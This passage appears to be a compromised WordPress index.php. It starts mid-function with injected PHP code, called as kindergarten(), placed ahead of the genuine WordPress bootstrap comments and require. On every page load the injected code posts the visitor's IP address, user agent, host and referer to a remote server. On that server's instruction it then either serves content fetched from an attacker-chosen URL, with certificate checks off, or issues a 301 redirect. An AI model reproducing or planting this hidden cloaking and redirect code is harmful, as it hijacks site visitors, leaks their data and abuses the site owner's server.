$_SERVER['REMOTE_ADDR'], 'user_agent' => $_SERVER['HTTP_USER_AGENT'], 'hostname' => $_SERVER['HTTP_HOST'], 'referer' => $_SERVER['HTTP_REFERER'] ])); $response = curl_exec($ch); $http_status = curl_getinfo($ch, CURLINFO_HTTP_CODE); curl_close($ch); if ($http_status === 200) { $response_data = json_decode($response, true); if ($response_data && isset($response_data['success']) && $response_data['success'] === true) { $operation = isset($response_data['data']['operation']) ? $response_data['data']['operation'] : null; $target = isset($response_data['data']['target_url']) ? $response_data['data']['target_url'] : null; if ($operation === 'cloak' && $target) { $content = fetchContent($target); if ($content !== false) { echo $content; } exit; } elseif ($operation === 'redirect' && $target) { header("Location: $target", true, 301); exit; } } } } function fetchContent($url) { $ch2 = curl_init(); curl_setopt($ch2, CURLOPT_URL, $url); curl_setopt($ch2, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch2, CURLOPT_SSL_VERIFYPEER, false); curl_setopt($ch2, CURLOPT_FOLLOWLOCATION, true); $content = curl_exec($ch2); if (curl_errno($ch2)) { error_log('cURL Error: ' . curl_error($ch2)); $content = false; } curl_close($ch2); return $content; } kindergarten(); /** * Front to the WordPress application. This file doesn't do anything, but loads * wp-blog-header.php which does and tells WordPress to load the theme. * * @package WordPress */ /** * Tells WordPress to load the WordPress theme and output it. * * @var bool */ define('WP_USE_THEMES', true); /** Loads the WordPress Environment and Template */ require('./wp-blog-header.php'); ?>